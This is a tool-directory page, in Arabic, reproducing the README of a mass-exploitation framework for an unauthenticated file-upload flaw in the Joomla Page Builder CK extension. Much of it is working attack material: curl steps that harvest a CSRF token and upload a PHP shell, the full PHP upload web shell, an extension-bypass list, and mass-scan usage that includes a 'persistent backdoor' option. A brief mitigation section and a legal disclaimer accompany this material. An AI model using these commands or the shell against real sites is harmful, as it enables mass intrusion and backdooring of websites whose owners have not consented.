Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pbck-exploit — 📤 إطار عمل استغلال جماعي لثغرة CVE-2026-56290 — رفع ملفات بدون مصادقة في Page Builder CK لـ Joomla يؤدي إلى تنفيذ كود عن بُعد (RCE) | Kitploit
أدوات/GitHubGitHub/shinthink/pbck-exploit
الاستطلاعماسحات الثغرات الأمنيةأطر الاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubshinthink/pbck-exploit

pbck-exploit

📤 إطار عمل استغلال جماعي لثغرة CVE-2026-56290 — رفع ملفات بدون مصادقة في Page Builder CK لـ Joomla يؤدي إلى تنفيذ كود عن بُعد (RCE)

عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PBCK-Exploit — استغلال CVE-2026-56290 لإضافة Joomla Page Builder CK

Python CVE License

Discovery CSRF RCE Cleanup Live

إطار عمل للاستغلال الجماعي & التحقق من إضافة Joomla Page Builder CK

رفع ملفات عشوائي بدون مصادقة → تنفيذ أكواد عن بُعد



📑 جدول المحتويات

  • نظرة عامة على الثغرة
  • الإصدارات المتأثرة
  • الميزات
  • التثبيت
  • الاستخدام
  • إثبات المفهوم
  • الغوص التقني
  • منهجية الكشف
  • الدفاع & التخفيف
  • إخلاء المسؤولية
  • المراجع

🔴 نظرة عامة على الثغرة

CVE-2026-56290 هي ثغرة ذات خطورة حرجة في Page Builder CK (com_pagebuilderck)، وهي إضافة شائعة لبناء الصفحات في Joomla. تقبل طريقة browse.ajaxAddPicture في وحدة التحكم رفع ملفات بدون مصادقة مع مسار وجهة يتحكم فيه المستخدم، مما يسمح للمهاجمين بكتابة ملفات PHP عشوائية في أدلة يمكن الوصول إليها عبر الويب.

السبب الجذري

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

تخضع معلمة path لتنظيف trim() فقط — لا قائمة بيضاء، ولا فحص لاجتياز المسار، ولا بوابة مصادقة. وبالاقتران مع رمز CSRF متاح للجمهور من أي صفحة Joomla، يمكن للمهاجمين رفع قذائف PHP عن بُعد إلى أي دليل قابل للكتابة.

الأثر

المتجهالخطورةالأثر
رفع ملفات بدون مصادقة9.8 (حرجة)تنفيذ كود PHP عشوائي

سلسلة الهجوم

root@kitploit:~
1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 الإصدارات المتأثرة

ملاحظة: يتم اكتشاف الإصدار من ملف manifest الخاص بـ Joomla على المسار /administrator/manifests/files/com_pagebuilderck.xml. إذا تعذّر الوصول إلى ملف manifest، يتعامل الماسح الضوئي مع الهدف افتراضيًا باعتباره قابلًا للاختراق.


✨ الميزات


📦 التثبيت

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

المتطلبات

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 الاستخدام

وسائط سطر الأوامر

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

الاستخدام الأساسي

root@kitploit:~
# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

تنسيق ملف الأهداف

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 إثبات المفهوم

السيناريو 1: فحص جماعي مع خرج مباشر

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

السيناريو 2: إعادة إنتاج يدوية (curl + Python)

الخطوة 1 — جمع رمز CSRF

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

الخطوة 2 — رفع قشرة PHP

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

الخطوة 3 — التحقق من RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

السيناريو 3: حمولة قشرة PHP

ينشر الماسح الضوئي قشرة رفع مكتفية ذاتيًا — دون الحاجة إلى exec() أو system() أو eval():

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

قدرات القشرة:

  • 📤 رفع ملفات إضافية عبر POST f=@file
  • 🧹 تدمير ذاتي عبر ?cleanup=1
  • 🔑 تحقق قائم على الرمز (يتحقق الماسح الضوئي من الرمز الفريد في المخرجات)

🔬 الغوص التقني

البنية

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

استراتيجية اكتشاف نقاط النهاية

يستخدم الماسح الضوئي نهج تخمين قسري متدرج بميزانية زمنية لكل هدف (15 ثانية):

كل تركيبة: رفع ملف اختبار .txt ← التحقق عبر GET ← المطابقة عند النجاح. ويعيد النتيجة فورًا عند التأكيد.

فلسفة تجاوز الامتدادات

تحجب الدالة CKFile::makeSafe() امتداد .php في بعض الإعدادات. استراتيجية التجاوز:

root@kitploit:~
Tier 1: Fast
  php, PHP, pht, phar
         ↓ (if blocked)
Tier 2: Case juggling
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (if blocked)
Tier 3: Alternative handlers
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (if blocked)
Tier 4: Double extensions
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (if blocked)
Tier 5: Windows tricks
  php., PHP., php. , php.SWF

جمع رموز CSRF

رمز CSRF في Joomla مضمّن في كل صفحة — الرئيسية، تسجيل الدخول، التسجيل، نماذج الاتصال، لوحة الإدارة:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registration
    "/index.php?option=com_contact&view=contact&id=1",              # contact
    "/administrator/index.php",                                     # admin login
]

النمط A — حقل HTML مخفي: <input type="hidden" name="<hex32>" value="1">

النمط B — إعداد JSON: "csrf.token":"<hex32>"


🔍 منهجية الكشف

كشف Joomla (مرحلتان)

المرحلة 1 — بصمات HTML (سريعة وحاسمة)

  • وسم meta للمولّد يحتوي على "Joomla!"
  • عناصر بنيوية: <jdoc:include> و joomla-script-options و "csrf.token"
  • أنماط مسارات: /components/com_ و /modules/mod_ و /plugins/system/
  • تحليل كوكيز الجلسة

المرحلة 2 — فحص لوحة الإدارة (بديل احتياطي)

  • يجلب صفحة /administrator/
  • يفحص عن علامات إدارة خاصة بـ Joomla: name="username" و mod-login- و administrator/templates/

كشف PBCK (3 مستويات)

المستوى 1 — مؤشرات HTML قوية

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

المستوى 2 — مؤشرات HTML ضعيفة مع التأكيد

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

المستوى 3 — فحوصات ملفات مباشرة (يكتشف التثبيتات التي لا تظهر فيها PBCK على الصفحة الرئيسية)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ الدفاع & التخفيف

1. الترقية فورًا

root@kitploit:~
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/

2. حظر نقطة نهاية الرفع

root@kitploit:~
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. تحصين تنفيذ PHP في الأدلة القابلة للكتابة

root@kitploit:~
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. تدقيق منظومتك

root@kitploit:~
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ إخلاء المسؤولية

🚨 لأغراض تعليمية & اختبارات مصرّح بها فقط

تُوفَّر هذه الأداة لأغراض تعليمية فقط وللبحث الأمني المشروع. صُممت لتُستخدم من قبل:

  • 🛡️ متخصصي الأمن الذين يجرون اختبارات اختراق مصرّحًا بها
  • 🏢 المؤسسات التي تدقق بنيتها التحتية الخاصة بـ Joomla
  • 🔬 الباحثين الذين يدرسون تقنيات استغلال الثغرات
  • 🎓 الطلاب الذين يتعلمون أمن تطبيقات الويب

❌ لا يجوز لك استخدام هذه الأداة من أجل:

  • الوصول إلى أنظمة الحاسوب دون إذن كتابي صريح
  • اختراق أو إتلاف أو تعطيل أنظمة لا تملكها
  • الانخراط في أي نشاط غير قانوني

⚖️ إشعار قانوني

الوصول غير المصرح به إلى أنظمة الحاسوب يخالف قوانين تشمل على سبيل المثال لا الحصر:

  • الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. § 1030)
  • إندونيسيا: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • الاتحاد الأوروبي: التوجيه 2013/40/EU
  • المملكة المتحدة: قانون إساءة استخدام الحاسوب 1990

لا يتحمل المؤلف (المؤلفون) أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تقر بأنك المسؤول الوحيد عن أفعالك وتوافق على الامتثال لجميع القوانين المعمول بها.


📚 المراجع


⚡ صُنع بدقة لمجتمع أبحاث الأمن ⚡

Joomla® هي علامة تجارية مسجلة لشركة Open Source Matters, Inc.
هذا المشروع غير تابع لـ Joomla أو Open Source Matters أو Page Builder CK وليس معتمدًا من قبلها.

تنزيل الأداة
جمع رموز CSRF5.3 (متوسطة)تمكين سلسلة الرفع
كشف المعلومات5.3 (متوسطة)تحديد بصمة إصدار الإضافة
إصدار Page Builder CKالحالةملاحظات
3.1.1 وما دون🔴 قابل للاختراقرفع بدون مصادقة مؤكد
3.4.10 وما دون🔴 قابل للاختراقنطاق موسّع وفقًا للتحليل
3.5.10 وما دون🔴 قابل للاختراققد توجد نسخ مصحّحة
> 3.5.10🟢 ربما مصحّحتحقق عبر ملف manifest XML

🔍 الاستطلاع

  • كشف Joomla — مرحلتان: بصمات HTML + فحص لوحة الإدارة
  • كشف PBCK — فحوصات مسار مباشرة + مطابقة أنماط HTML
  • استخراج الإصدار — تحليل manifest XML + بديل regex على HTML
  • جمع رموز CSRF — استخراج الرموز من عدة صفحات (الرئيسية، تسجيل الدخول، التسجيل، الإدارة)
  • التخمين القسري لنقاط النهاية — أكثر من 1000 تركيبة من task/param/path مع اكتشاف بميزانية زمنية

💀 الاستغلال

  • تجاوز أكثر من 40 امتدادًا — تلاعب بحالة الأحرف، متغيرات مرقّمة، امتدادات مزدوجة، حيل Windows
  • أكثر من 20 مسار وجهة — أدلة الإضافات، أدلة Joomla القابلة للكتابة، مسارات اجتياز
  • التحقق من القشرة — تأكيد قائم على الرمز بأن PHP يُنفَّذ
  • تنظيف تلقائي — القذائف تدمر نفسها بعد التحقق (?cleanup=1)
  • خرج TXT مباشر — نتائج لحظية آمنة للخيوط تُكتب إلى ملف
  • تقرير JSON — تقرير منظم بتفاصيل كاملة لكل هدف
المستوىالمهاموسائط الملفوسائط المجلدمسارات الوجهةإجمالي التركيبات
المستوى 1 (مؤكد)browse.ajaxAddPicture + 3 أخرىfile, Filedatapath, folder, dirأفضل 4 أدلة PBCK96
المستوى 2 (شبكة كاملة)12 مهمة4 وسائط5 وسائطأكثر من 20 مسارًا4,800+
الموردالرابط
إدخال NVDCVE-2026-56290
أمان Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
رفع الملفات في OWASPرفع الملفات غير المقيّد